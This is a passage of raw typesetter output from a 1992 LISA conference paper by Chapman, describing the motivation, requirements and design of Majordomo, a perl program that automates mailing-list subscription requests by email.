X(least,)s +1067 X(the)s +1172 X(usual)s +1336 X(method\))s +1581 X(knows)s +1778 X(how)s +1916 X(much)s +600 X +3048 Y(time)s +757 X(it)s +831 X(takes)s +1005 X(to)s +1093 X(process)s +1329 X(the)s +1447 X(endless)s +1680 X(requests)s +1935 X(from)s +600 X +3121 Y(users)s +762 X(of)s +842 X(the)s +950 X(form)s +1105 X("please)s +1326 X(subscribe)s +1604 X(me)s +1712 X(to)s +1790 X(your)s +1937 X(list",)s +600 X +3194 Y("please)s +825 X(unsubscribe)s +1173 X(me)s +1285 X(from)s +1444 X(your)s +1595 X(list",)s +1752 X("please)s +1977 X(tell)s +600 X +3267 Y(me)s +704 X(about)s +874 X(your)s +1017 X(list",)s +1166 X("please)s +1383 X(tell)s +1492 X(me)s +1596 X(if)s +1659 X(I'm)s +1778 X(already)s +1998 X(on)s +600 X +3340 Y(your)s +748 X(list",)s +902 X(and)s +1025 X(so)s +1111 X(forth)s +1240 X(.)s +1306 X(It's)s +1421 X(a)s +1477 X(time)s +1597 X(-consuming,)s +1954 X(bor-)s +600 X +3413 Y(ing,)s +724 X(repetitive)s +1000 X(task;)s +1149 X(just)s +1268 X(the)s +1372 X(sort)s +1494 X(of)s +1572 X(thing)s +1732 X(that's)s +1904 X(a)s +1957 X(per-)s +600 X +3486 Y(fect)s +723 X(candidate)s +1002 X(to)s +1076 X(be)s +1161 X(automated)s +1440 X(.)s +600 X +3580 Y +744 X(When)s +926 X(SAGE)s +1123 X(\(the)s +1250 X(System)s +1470 X(Administrators)s +1895 X(Guild,)s +600 X +3653 Y(a)s +668 X(USENIX)s +949 X(Special)s +1184 X(Technical)s +1486 X(Group\))s +1714 X(was)s +1855 X(formed,)s +600 X +3726 Y(the)s +718 X(founding)s +993 X(members)s +1274 X(decided)s +1518 X(to)s +1607 X(establish)s +1879 X(over)s +2034 X(a)s +600 X +3799 Y(dozen)s +785 X(mailing)s +1016 X(lists)s +1151 X(for)s +1254 X(various)s +1476 X(purposes)s +1737 X(\(one)s +1880 X(for)s +1982 X(the)s +600 X +3872 Y(board)s +789 X(of)s +883 X(directors,)s +1173 X(one)s +1308 X(for)s +1424 X(each)s +1586 X(of)s +1680 X(the)s +1801 X(16)s +1906 X(initial)s +600 X +3945 Y(working)s +857 X(groups,)s +1090 X(one)s +1221 X(the)s +1338 X(chairs)s +1533 X(of)s +1623 X(all)s +1726 X(the)s +1843 X(working)s +600 X +4018 Y(groups,)s +840 X(and)s +979 X(so)s +1081 X(forth\))s +1232 X(.)s +1314 X(The)s +1461 X(USENIX)s +1748 X(Association)s +600 X +4091 Y(volunteered)s +950 X(the)s +1066 X(USENIX)s +1310 X(.ORG)s +1501 X(machine)s +1762 X(as)s +1852 X(a)s +1916 X(home)s +600 X +4164 Y(for)s +720 X(these)s +901 X(mailing)s +1149 X(lists,)s +1318 X(but)s +1446 X(didn't)s +1649 X(have)s +1819 X(the)s +1945 X(staff)s +600 X +4237 Y(resources)s +882 X(to)s +964 X(set)s +1069 X(up)s +1165 X(and)s +1291 X(operate)s +1518 X(the)s +1630 X(mailing)s +1865 X(lists)s +1974 X(.)s +2042 X(I)s +600 X +4310 Y(volunteered)s +938 X(to)s +1013 X(act)s +1115 X(as)s +1194 X(Postmaster)s +1511 X(for)s +1611 X(SAGE,)s +1826 X(and)s +1946 X(han-)s +600 X +4383 Y(dle)s +710 X(all)s +806 X(the)s +916 X(mailing)s +1149 X(lists)s +1258 X(.)s +1324 X(As)s +1425 X(an)s +1515 X(independent)s +1868 X(consul-)s +600 X +4456 Y(tant,)s +740 X(my)s +847 X(schedule)s +1103 X(is)s +1170 X(rather)s +1348 X(erratic,)s +1559 X(and)s +1677 X(I)s +1722 X(don't)s +1885 X(have)s +2034 X(a)s +600 X +4529 Y(company)s +872 X(paying)s +1081 X(my)s +1194 X(salary)s +1382 X(while)s +1559 X(I)s +1608 X(pursue)s +1812 X(volunteer)s +600 X +4602 Y(work)s +761 X(like)s +887 X(this;)s +1028 X(thus,)s +1181 X(I)s +1228 X(wished)s +1442 X(to)s +1519 X(automate)s +1790 X(the)s +1897 X(job)s +2008 X(as)s +600 X +4675 Y(much)s +787 X(as)s +881 X(possible,)s +1155 X(so)s +1252 X(that)s +1391 X(I)s +1451 X(could)s +1637 X(provide)s +1878 X(a)s +1946 X(high)s +600 X +4748 Y(level)s +794 X(of)s +912 X(service)s +1166 X(to)s +1282 X(the)s +1428 X(users)s +1629 X(\(including)s +1967 X(fast)s +2256 X +2720 Y(turnaround)s +2572 X(on)s +2663 X(their)s +2811 X(requests\))s +3077 X(while)s +3251 X(spending)s +3515 X(as)s +3595 X(little)s +2256 X +2793 Y(time)s +2400 X(as)s +2480 X(possible)s +2723 X(in)s +2800 X(the)s +2907 X(long)s +3050 X(run)s +3163 X(on)s +3254 X(administrivia)s +3608 X(.)s +3672 X(A)s +2256 X +2866 Y(BITNET)s +2493 X(-style)s +2672 X(Listserv)s +2918 X(seemed)s +3149 X(to)s +3231 X(be)s +3324 X(an)s +3416 X(appropriate)s +2256 X +2939 Y(solution,)s +2510 X(so)s +2591 X(I)s +2635 X(started)s +2836 X(investigating)s +3204 X(alternatives)s +3514 X(.)s +2256 X +3066 Y +2678 X +f.B 10 Z(De\256ning)s +2941 X(the)s +3052 X(Problem)s +2256 X +3175 Y +2400 X +f.R 10 Z(The)s +2538 X(\256rst)s +2676 X(step)s +2818 X(was)s +2956 X(to)s +3042 X(identify)s +3284 X(just)s +3415 X(what)s +3580 X(func-)s +2256 X +3248 Y(tionality)s +2523 X(I)s +2588 X(desired)s +2781 X(.)s +2863 X(First)s +3029 X(and)s +3167 X(foremost,)s +3463 X(I)s +3527 X(wanted)s +2256 X +3321 Y(something)s +2559 X(that)s +2685 X(would)s +2876 X(handle)s +3079 X(routine)s +3293 X("subscribe")s +3624 X(and)s +2256 X +3394 Y("unsubscribe")s +2653 X(requests)s +2897 X(automatically,)s +3305 X(with)s +3449 X(no)s +3539 X(human)s +2256 X +3467 Y(intervention)s +2613 X(required)s +2869 X(for)s +2980 X(routine)s +3203 X(requests)s +3457 X(\(though)s +3698 X(I)s +2256 X +3540 Y(wanted)s +2478 X(to)s +2559 X(give)s +2703 X(the)s +2814 X(owner)s +3009 X(of)s +3093 X(a)s +3152 X(given)s +3329 X(list)s +3440 X(the)s +3550 X(option)s +2256 X +3613 Y(of)s +2338 X(passing)s +2565 X(judgement)s +2874 X(on)s +2967 X(all)s +3062 X(subscription)s +3415 X(requests,)s +3679 X(if)s +2256 X +3686 Y(they)s +2404 X(so)s +2496 X(desired\))s +2711 X(.)s +2783 X(Second,)s +3029 X(I)s +3084 X(wanted)s +3309 X(something)s +3619 X(that)s +2256 X +3759 Y(could)s +2443 X(easily)s +2639 X(handle)s +2856 X(many)s +3043 X(mailing)s +3288 X(lists)s +3437 X(simultane-)s +2256 X +3832 Y(ously;)s +2451 X(I)s +2505 X(had)s +2633 X(17)s +2731 X(to)s +2815 X(begin)s +2995 X(with,)s +3162 X(and)s +3289 X(I)s +3342 X(was)s +3477 X(sure)s +3619 X(that)s +2256 X +3905 Y(more)s +2437 X(would)s +2648 X(be)s +2756 X(added)s +2960 X(as)s +3061 X(time)s +3226 X(passed)s +3404 X(.)s +3488 X(Third,)s +3698 X(I)s +2256 X +3978 Y(wanted)s +2489 X(something)s +2807 X(that)s +2948 X(could)s +3136 X(automatically)s +3542 X(handle)s +2256 X +4051 Y(other)s +2430 X(user)s +2578 X(requests)s +2834 X(\(such)s +3015 X(as)s +3108 X("what)s +3302 X(lists)s +3448 X(are)s +3567 X(avail-)s +2256 X +4124 Y(able?",)s +2489 X("please)s +2731 X(tell)s +2865 X(me)s +2994 X(about)s +3188 X(list)s +3317 X('foobar'",)s +3624 X(and)s +2256 X +4197 Y("which)s +2469 X(of)s +2547 X(your)s +2691 X(lists)s +2823 X(am)s +2928 X(I)s +2974 X(on?"\))s +3143 X(that,)s +3285 X(while)s +3458 X(less)s +3583 X(com-)s +2256 X +4270 Y(mon)s +2406 X(than)s +2553 X("subscribe")s +2891 X(and)s +3019 X("unsubscribe",)s +3439 X(still)s +3572 X(occur)s +2256 X +4343 Y(relatively)s +2532 X(frequently)s +2806 X(.)s +2256 X +4437 Y +2400 X(The)s +2533 X(\256rst)s +2666 X(thing)s +2832 X(I)s +2883 X(did)s +2998 X(was)s +3132 X(look)s +3280 X(around)s +3494 X(for)s +3601 X(suit-)s +2256 X +4510 Y(able)s +2403 X(publicly)s +2657 X(available)s +2934 X(software)s +3198 X(that)s +3333 X(might)s +3523 X(already)s +2256 X +4583 Y(exist,)s +2430 X(or)s +2515 X(that)s +2646 X(might)s +2832 X(be)s +2925 X(easily)s +3113 X(adapted)s +3352 X(to)s +3435 X(my)s +3551 X(needs)s +3703 X(.)s +2256 X +4656 Y(Searches)s +2524 X(of)s +2609 X(the)s +2721 X(common)s +2984 X(Internet)s +3221 X(software)s +3480 X(archives,)s +2256 X +4729 Y(queries)s +2490 X(to)s +2583 X(the)s +2706 X("Archie")s +2983 X(anonymous)s +3330 X(FTP)s +3487 X(indexing)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(135)s +5280 Y +pagebot + +%%Page: 136 2 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(service,)s +605 X(and)s +739 X(email)s +927 X(to)s +1017 X(certain)s +1238 X(acquaintances)s +1651 X(who)s +1802 X(I)s +360 X +521 Y(thought)s +592 X(might)s +777 X(know)s +953 X(of)s +1037 X(such)s +1188 X(software)s +1447 X(produced)s +1724 X(two)s +360 X +594 Y(results:)s +587 X(an)s +683 X(implementation)s +1137 X(of)s +1225 X(the)s +1339 X(BITNET)s +1608 X(Listserv)s +360 X +667 Y(written)s +578 X(in)s +659 X(C)s +732 X(for)s +838 X(UNIX)s +1033 X(\(from)s +1213 X(the)s +1324 X(comp)s +1472 X(.sources)s +1689 X(.unix)s +360 X +740 Y(archives\),)s +674 X(and)s +822 X(several)s +1063 X(different)s +1344 X(programs)s +1646 X(named)s +360 X +813 Y("listserv")s +630 X(written)s +842 X(in)s +916 X(perl)s +1020 X(.)s +360 X +907 Y +504 X(I)s +555 X(\256rst)s +688 X(examined)s +977 X(the)s +1089 X(BITNET)s +1356 X(Listserv)s +1602 X(C)s +1676 X(pack-)s +360 X +980 Y(age)s +479 X(from)s +634 X(the)s +742 X(comp)s +890 X(.sources)s +1107 X(.unix)s +1268 X(newsgroup)s +1584 X(archives)s +1807 X(.)s +360 X +1053 Y(It)s +433 X(looked)s +646 X(like)s +779 X(it)s +849 X(would)s +1047 X(do)s +1145 X(most)s +1308 X(of)s +1396 X(what)s +1559 X(I)s +1614 X(wanted,)s +360 X +1126 Y(but)s +473 X(it)s +539 X(also)s +675 X(looked)s +884 X(like)s +1012 X(it)s +1077 X(did)s +1189 X(a)s +1246 X(lot)s +1344 X(of)s +1426 X(things)s +1616 X(I)s +1665 X(didn't)s +360 X +1199 Y(really)s +544 X(care)s +687 X(about)s +866 X(\(there)s +1053 X(appeared)s +1325 X(to)s +1408 X(be)s +1503 X(features)s +1747 X(for)s +360 X +1272 Y(coordinating)s +752 X(activities)s +1051 X(between)s +1329 X(multiple)s +1608 X(Listserv)s +360 X +1345 Y(servers)s +600 X(on)s +717 X(different)s +999 X(machines,)s +1321 X(for)s +1450 X(instance\))s +1692 X(.)s +1783 X(It)s +360 X +1418 Y(appeared)s +636 X(to)s +723 X(be)s +821 X(rather)s +1012 X(short)s +1180 X(on)s +1280 X(documentation,)s +1728 X(and)s +360 X +1491 Y(what)s +531 X(documentation)s +969 X(there)s +1144 X(was)s +1290 X(seemed)s +1533 X(to)s +1627 X(assume)s +360 X +1564 Y(that)s +496 X(the)s +613 X(reader)s +815 X(was)s +954 X(already)s +1186 X(familiar)s +1434 X(with)s +1587 X(BITNET)s +360 X +1637 Y(Listserv)s +601 X(implementation)s +1047 X(and)s +1168 X(operation)s +1420 X(.)s +1485 X(All)s +1597 X(in)s +1675 X(all,)s +1786 X(it)s +360 X +1710 Y(looked)s +574 X(like)s +708 X(it)s +779 X(would)s +978 X(be)s +1073 X(a)s +1135 X(real)s +1268 X(headache)s +1549 X(for)s +1658 X(me)s +1772 X(to)s +360 X +1783 Y(install,)s +570 X(con\256gure,)s +867 X(and)s +992 X(maintain,)s +1273 X(since)s +1440 X(I'm)s +1565 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(not)s +1679 X +f.R 10 Z(fami-)s +360 X +1856 Y(liar)s +507 X(with)s +683 X(BITNET)s +977 X(Listserv)s +1250 X(implementation)s +1728 X(and)s +360 X +1929 Y(operation)s +612 X(.)s +360 X +3599 Y +3120 0 l +360 X +3695 Y +562 X +f.B 10 Z(Command)s +1357 X(Description)s +360 X +3725 Y +562 X +f.R 10 Z +2715 0 l +360 X +3789 Y +1357 X(Subscribe)s +1642 X(yourself)s +1882 X(\(or)s +1981 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2227 X(if)s +2290 X(speci\256ed\))s +2572 X(to)s +2646 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(subscribe)s +836 X +f.I 10 Z(list)s +941 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +3882 Y +1357 X(Unsubscribe)s +1712 X(yourself)s +1952 X(\(or)s +2051 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2297 X(if)s +2360 X(speci\256ed\))s +2642 X(from)s +2793 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(unsubscribe)s +902 X +f.I 10 Z(list)s +1007 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +3975 Y +1357 X(Find)s +1501 X(out)s +1608 X(which)s +1793 X(lists)s +1924 X(you)s +2045 X(\(or)s +2144 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2390 X(if)s +2453 X(speci\256ed\))s +2735 X(are)s +2839 X(on)s +360 X +562 X(which)s +747 X([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +4068 Y +1357 X(Show)s +1530 X(the)s +1634 X(members)s +1901 X(of)s +1978 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(who)s +698 X +f.I 10 Z(list)s +360 X +4161 Y +1357 X +f.R 10 Z(Show)s +1530 X(the)s +1634 X(general)s +1853 X(introductory)s +2204 X(information)s +2541 X(for)s +2640 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(info)s +691 X +f.I 10 Z(list)s +360 X +4254 Y +1357 X +f.R 10 Z(Show)s +1530 X(the)s +1634 X(lists)s +1765 X(handled)s +1998 X(by)s +2086 X(this)s +2205 X(Majordomo)s +2541 X(server)s +360 X +562 X(lists)s +360 X +4347 Y +1357 X(Retrieve)s +1606 X(a)s +1658 X(help)s +1795 X(message,)s +2061 X(explaining)s +2365 X(these)s +2525 X(commands)s +360 X +562 X(help)s +360 X +4440 Y +1357 X(Stop)s +1506 X(processing)s +1818 X(commands)s +2134 X(\(useful)s +2346 X(if)s +2414 X(your)s +2562 X(mailer)s +2761 X(automatically)s +3155 X(adds)s +360 X +4520 Y +1357 X(a)s +1409 X(signature)s +1676 X(to)s +1750 X(your)s +1893 X(messages\))s +360 X +4440 Y +562 X(end)s +360 X +4685 Y +1387 X +f.B 10 Z(Figure)s +1599 X(1)s +f.R 10 Z(:)s +1695 X(Majordomo)s +2031 X(user)s +2164 X(commands)s +360 X +2023 Y +504 X(The)s +640 X(next)s +787 X(things)s +983 X(I)s +1038 X(looked)s +1252 X(at)s +1334 X(were)s +1497 X(several)s +1720 X(perl)s +360 X +2096 Y(scripts)s +578 X(from)s +750 X(a)s +823 X(variety)s +1052 X(of)s +1150 X(sources)s +1393 X(that)s +1537 X(were)s +1710 X(sup-)s +360 X +2169 Y(posedly)s +595 X(Listserv)s +811 X(-like)s +962 X(servers)s +1151 X(.)s +1218 X(Some)s +1398 X(of)s +1482 X(these)s +1649 X(scripts)s +360 X +2242 Y(were)s +528 X(pointed)s +766 X(out)s +888 X(to)s +977 X(me)s +1096 X(by)s +1199 X(folks)s +1369 X(on)s +1472 X(the)s +1591 X(net)s +1710 X(who)s +360 X +2315 Y(knew)s +537 X(I)s +592 X(was)s +729 X(looking)s +965 X(for)s +1076 X(such)s +1232 X(a)s +1296 X(thing,)s +1484 X(and)s +1614 X(I)s +1670 X(found)s +360 X +2388 Y(others)s +565 X(by)s +673 X(searching)s +971 X(through)s +1218 X(Archie)s +1441 X(for)s +1559 X("listserv")s +1807 X(.)s +360 X +2461 Y(Unfortunately,)s +778 X(these)s +943 X(various)s +1166 X(scripts)s +1368 X(all)s +1463 X(turned)s +1660 X(out)s +1772 X(to)s +360 X +2534 Y(be)s +457 X(more)s +628 X(what)s +792 X(I'd)s +903 X(call)s +1035 X("archive)s +1293 X(servers")s +1543 X(than)s +1692 X("list-)s +360 X +2607 Y(serv")s +537 X(implementations)s +984 X(;)s +1042 X(they)s +1196 X(were)s +1365 X(written)s +1595 X(to)s +1687 X(auto-)s +360 X +2680 Y(mate)s +524 X(retrieval)s +781 X(of)s +869 X(\256les)s +1014 X(from)s +1176 X(archives)s +1432 X(via)s +1547 X(email,)s +1747 X(for)s +360 X +2753 Y(folks)s +534 X(who)s +689 X(don't)s +870 X(have)s +1037 X(access)s +1250 X(to)s +1344 X(anonymous)s +1692 X(FTP)s +1807 X(.)s +360 X +2826 Y(When)s +550 X(I)s +603 X(examined)s +894 X(one)s +1021 X(of)s +1107 X(these)s +1275 X(scripts)s +1480 X(that)s +1611 X(claimed)s +360 X +2899 Y(to)s +442 X(support)s +671 X("subscribe")s +1007 X(and)s +1133 X("unsubscribe")s +1535 X(requests,)s +1802 X(I)s +360 X +2972 Y(found)s +547 X(that)s +681 X(what)s +844 X(it)s +915 X(did)s +1033 X(with)s +1184 X(such)s +1338 X(requests)s +1589 X(was)s +1725 X(for-)s +360 X +3045 Y(ward)s +528 X(them)s +697 X(by)s +798 X(email)s +983 X(to)s +1070 X(the)s +1187 X(mailing)s +1427 X(list)s +1545 X(owner)s +1747 X(for)s +360 X +3118 Y(manual)s +584 X(processing;)s +915 X(this)s +1039 X(was)s +1170 X(exactly)s +1391 X(what)s +1548 X(I)s +1597 X(was)s +1728 X(try-)s +360 X +3191 Y(ing)s +467 X(to)s +541 X(avoid!)s +360 X +3285 Y +504 X(In)s +596 X(the)s +715 X(end,)s +866 X(I)s +926 X(decided)s +1172 X(to)s +1262 X(implement)s +1587 X(my)s +1710 X(own)s +360 X +3358 Y(version)s +579 X(of)s +657 X(Listserv,)s +912 X(so)s +993 X(that)s +1116 X(I)s +1160 X(could)s +1330 X(get)s +1434 X(exactly)s +1650 X(what)s +1802 X(I)s +360 X +3431 Y(wanted)s +553 X(.)s +615 X(The)s +742 X(name)s +910 X(for)s +1010 X(my)s +1118 X(software)s +1371 X(was)s +1498 X(provided)s +1758 X(by)s +360 X +3504 Y(Eliot)s +529 X(Lear)s +689 X(of)s +781 X(Silicon)s +1008 X(Graphics,)s +1303 X(Inc)s +1388 X(.;)s +1461 X(he)s +1561 X(suggested)s +2016 X +448 Y("majordomo",)s +2417 X(which)s +2603 X(the)s +2708 X(dictionary)s +3002 X(de\256nes)s +3214 X(as)s +3293 X("a)s +3373 X(per-)s +2016 X +521 Y(son)s +2162 X(who)s +2330 X(speaks,)s +2579 X(makes)s +2804 X(arrangements,)s +3234 X(or)s +3342 X(takes)s +2016 X +594 Y(charge)s +2244 X(for)s +2371 X(another",)s +2666 X(and)s +2813 X(which)s +3027 X(seems)s +3242 X(perfectly)s +2016 X +667 Y(appropriate)s +2342 X(given)s +2512 X(the)s +2616 X(nature)s +2805 X(of)s +2882 X(the)s +2986 X(software)s +3216 X(.)s +2016 X +794 Y +2450 X +f.B 10 Z(Designing)s +2754 X(a)s +2809 X(Solution)s +2016 X +903 Y +2160 X +f.R 10 Z(My)s +2290 X(\256rst)s +2432 X(step)s +2578 X(in)s +2668 X(designing)s +2965 X(a)s +3033 X(solution)s +3286 X(was)s +3428 X(to)s +2016 X +976 Y(decide)s +2218 X(on)s +2311 X(the)s +2420 X(general)s +2644 X(approach)s +2915 X(I)s +2964 X(was)s +3095 X(going)s +3273 X(to)s +3351 X(take)s +3463 X(.)s +2016 X +1049 Y(First,)s +2199 X(I)s +2264 X(decided)s +2515 X(that)s +2659 X(all)s +2771 X(routine)s +3004 X(interactions)s +3361 X(with)s +2016 X +1122 Y(Majordomo)s +2377 X(would)s +2589 X(take)s +2747 X(place)s +2935 X(asynchronously)s +3398 X(via)s +2016 X +1195 Y(email)s +2166 X(.)s +2248 X(Second,)s +2504 X(since)s +2685 X(the)s +2811 X(software)s +3085 X(was)s +3233 X(going)s +3428 X(to)s +2016 X +1268 Y(spend)s +2200 X(most)s +2359 X(of)s +2443 X(its)s +2536 X(time)s +2685 X(parsing)s +2910 X(emailed)s +3151 X(instructions,)s +2016 X +1341 Y(processing)s +2324 X(text)s +2448 X(\256les)s +2583 X(\(the)s +2711 X(actual)s +2896 X(mailing)s +3125 X(lists\))s +3280 X(accord-)s +2016 X +1414 Y(ing)s +2146 X(to)s +2243 X(those)s +2428 X(instructions,)s +2801 X(and)s +2941 X(generating)s +3267 X(emailed)s +2016 X +1487 Y(responses)s +2298 X(to)s +2373 X(users,)s +2550 X(I)s +2595 X(wanted)s +2811 X(to)s +2886 X(write)s +3047 X(it)s +3109 X(in)s +3185 X(a)s +3239 X(language)s +2016 X +1560 Y(well)s +2132 X(-suited)s +2356 X(for)s +2474 X(that)s +2616 X(task;)s +2784 X(perl)s +2929 X(seemed)s +3171 X(the)s +3294 X(natural)s +2016 X +1633 Y(choice)s +2191 X(.)s +2016 X +1727 Y +2160 X(In)s +2240 X(the)s +2347 X(Majordomo)s +2687 X(world)s +2868 X(model,)s +3078 X(there)s +3238 X(are)s +3346 X(three)s +2016 X +1800 Y(types)s +2228 X(of)s +2354 X(people:)s +2622 X(users)s +2830 X(\(without)s +3127 X(any)s +3293 X(special)s +2016 X +1873 Y(privileges\),)s +2341 X(mailing)s +2569 X(list)s +2675 X(owners,)s +2907 X(and)s +3026 X(the)s +3131 X(owner)s +3320 X(of)s +3398 X(the)s +2016 X +1946 Y(Majordomo)s +2379 X(server)s +2590 X(itself)s +2725 X(.)s +2812 X(Interactions)s +3176 X(with)s +3343 X(users)s +2016 X +2019 Y(take)s +2156 X(place)s +2327 X(strictly)s +2543 X(by)s +2638 X(email;)s +2836 X(the)s +2947 X(user)s +3087 X(mails)s +3262 X(a)s +3321 X(set)s +3425 X(of)s +2016 X +2092 Y(requests)s +2275 X(to)s +2366 X(Majordomo,)s +2736 X(and)s +2871 X(Majordomo)s +3224 X(processes)s +2016 X +2165 Y(those)s +2196 X(requests)s +2454 X(and)s +2589 X(sends)s +2776 X(back)s +2941 X(appropriate)s +3284 X(replies)s +3463 X(.)s +2016 X +2238 Y(Interactions)s +2362 X(with)s +2511 X(list)s +2623 X(owners)s +2844 X(also)s +2981 X(take)s +3122 X(place)s +3293 X(strictly)s +2016 X +2311 Y(by)s +2105 X(email,)s +2295 X(but)s +2403 X(a)s +2456 X(list)s +2563 X(owner)s +2753 X(can)s +2870 X(do)s +2960 X(a)s +3014 X(few)s +3138 X(things)s +3325 X(that)s +3450 X(a)s +2016 X +2384 Y(normal)s +2235 X(user)s +2376 X(can't;)s +2559 X(the)s +2671 X(commands)s +2989 X(that)s +3119 X(are)s +3230 X(restricted)s +2016 X +2457 Y(to)s +2095 X(list)s +2205 X(owners)s +2424 X(are)s +2533 X(protected)s +2809 X(with)s +2955 X(a)s +3012 X(per)s +3097 X(-list)s +3229 X(password)s +2016 X +2530 Y(\(though)s +2244 X(it's)s +2352 X(very)s +2492 X(weak)s +2655 X(password)s +2928 X(protection,)s +3238 X(since)s +3398 X(the)s +2016 X +2603 Y(password)s +2300 X(is)s +2378 X(passed)s +2589 X(in)s +2674 X(the)s +2790 X(clear)s +2955 X(through)s +3195 X(the)s +3311 X(email;)s +2016 X +2676 Y(the)s +2123 X(goal)s +2263 X(is)s +2333 X(not)s +2443 X(absolute)s +2691 X(security,)s +2945 X(but)s +3054 X(to)s +3130 X(avoid)s +3302 X(people)s +2016 X +2749 Y(making)s +2257 X(a)s +2328 X(nuisance)s +2604 X(of)s +2701 X(themselves)s +3041 X(by)s +3149 X(abusing)s +3398 X(the)s +2016 X +2822 Y(Majordomo)s +2366 X(server\))s +2551 X(.)s +2626 X(The)s +2766 X(Majordomo)s +3116 X(owner)s +3318 X(is)s +3398 X(the)s +2016 X +2895 Y(person)s +2231 X(responsible)s +2573 X(for)s +2688 X(maintaining)s +3046 X(the)s +3166 X(Majordomo)s +2016 X +2968 Y(server)s +2206 X(itself,)s +2385 X(and)s +2508 X(for)s +2612 X(performing)s +2937 X(tasks)s +3097 X(such)s +3245 X(as)s +3327 X(creat-)s +2016 X +3041 Y(ing)s +2123 X(new)s +2256 X(mailing)s +2483 X(lists)s +2614 X(to)s +2688 X(be)s +2773 X(served)s +2969 X(by)s +3057 X(Majordomo)s +3371 X(.)s +2016 X +3135 Y +2160 X(The)s +2289 X(software)s +2544 X(needs)s +2722 X(to)s +2800 X(support)s +3025 X(multiple)s +3275 X(mailing)s +2016 X +3208 Y(lists,)s +2185 X(each)s +2351 X(owned)s +2570 X(by)s +2678 X(different)s +2950 X(individuals)s +3247 X(.)s +3328 X(Some)s +2016 X +3281 Y(owners)s +2238 X(wish)s +2394 X(to)s +2476 X(approve)s +2720 X(all)s +2818 X("subscribe")s +3154 X(requests)s +3403 X(for)s +2016 X +3354 Y(their)s +2171 X(list)s +2286 X(\(a)s +2370 X("closed")s +2627 X(list\),)s +2781 X(while)s +2962 X(other)s +3131 X(owners)s +3354 X(wish)s +2016 X +3427 Y(routine)s +2230 X("subscribe")s +2561 X(requests)s +2805 X(to)s +2882 X(be)s +2970 X(approved)s +3242 X(automat-)s +2016 X +3500 Y(ically)s +2189 X(\(an)s +2297 X("open")s +2503 X(list\),)s +2648 X(with)s +2790 X(noti\256cation)s +3118 X(to)s +3193 X(the)s +3297 X(owner)s +3463 X(.)s +360 X +4967 Y +f.B 10 Z(136)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 137 3 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(Routine)s +894 X("unsubscribe")s +1349 X(requests)s +1651 X(are)s +1817 X(approved)s +600 X +521 Y(automatically,)s +1009 X(with)s +1154 X(noti\256cation)s +1485 X(to)s +1563 X(the)s +1671 X(list)s +1779 X(owner,)s +1987 X(for)s +600 X +594 Y(both)s +745 X(open)s +901 X(and)s +1024 X(closed)s +1222 X(lists)s +1331 X(.)s +1375 X(Owners)s +1609 X(have)s +1763 X(a)s +1821 X(way)s +1960 X(\(the)s +600 X +667 Y("approve")s +923 X(command\))s +1262 X(to)s +1368 X(approve)s +1636 X(all)s +1758 X("subscribe")s +600 X +740 Y(requests)s +844 X(on)s +935 X(closed)s +1131 X(lists,)s +1282 X(as)s +1363 X(well)s +1505 X(as)s +1587 X(non)s +1686 X(-routine)s +1923 X("sub-)s +600 X +813 Y(scribe")s +816 X(and)s +941 X("unsubscribe")s +1342 X(requests)s +1589 X(on)s +1683 X(open)s +1840 X(lists)s +1949 X(.)s +2016 X(A)s +600 X +886 Y("non)s +726 X(-routine)s +969 X(request")s +1221 X(is)s +1298 X(one)s +1426 X(that)s +1559 X(affects)s +1771 X(a)s +1834 X(different)s +600 X +959 Y(address)s +834 X(than)s +982 X(the)s +1097 X(request)s +1323 X(appears)s +1560 X(to)s +1645 X(originate)s +1916 X(from;)s +600 X +1032 Y(for)s +717 X(instance,)s +994 X(a)s +1065 X(request)s +1299 X(from)s +1469 X("joe@foobar)s +1812 X(.com")s +2012 X(to)s +600 X +1105 Y(subscribe)s +896 X(or)s +994 X(unsubscribe)s +1355 X("alice@foobar)s +1744 X(.com")s +1946 X(is)s +2034 X(a)s +600 X +1178 Y(non)s +699 X(-routine)s +953 X(request)s +1146 X(.)s +1229 X(All)s +1359 X(non)s +1458 X(-routine)s +1713 X(requests)s +1976 X(\(on)s +600 X +1251 Y(both)s +746 X(open)s +903 X(and)s +1027 X(closed)s +1226 X(lists\))s +1384 X(are)s +1493 X(forwarded)s +1793 X(to)s +1872 X(the)s +1981 X(list)s +600 X +1324 Y(owner)s +788 X(for)s +887 X(approval)s +1120 X(.)s +600 X +1418 Y +744 X(Majordomo)s +1100 X(accepts)s +1340 X(the)s +1464 X(commands)s +1796 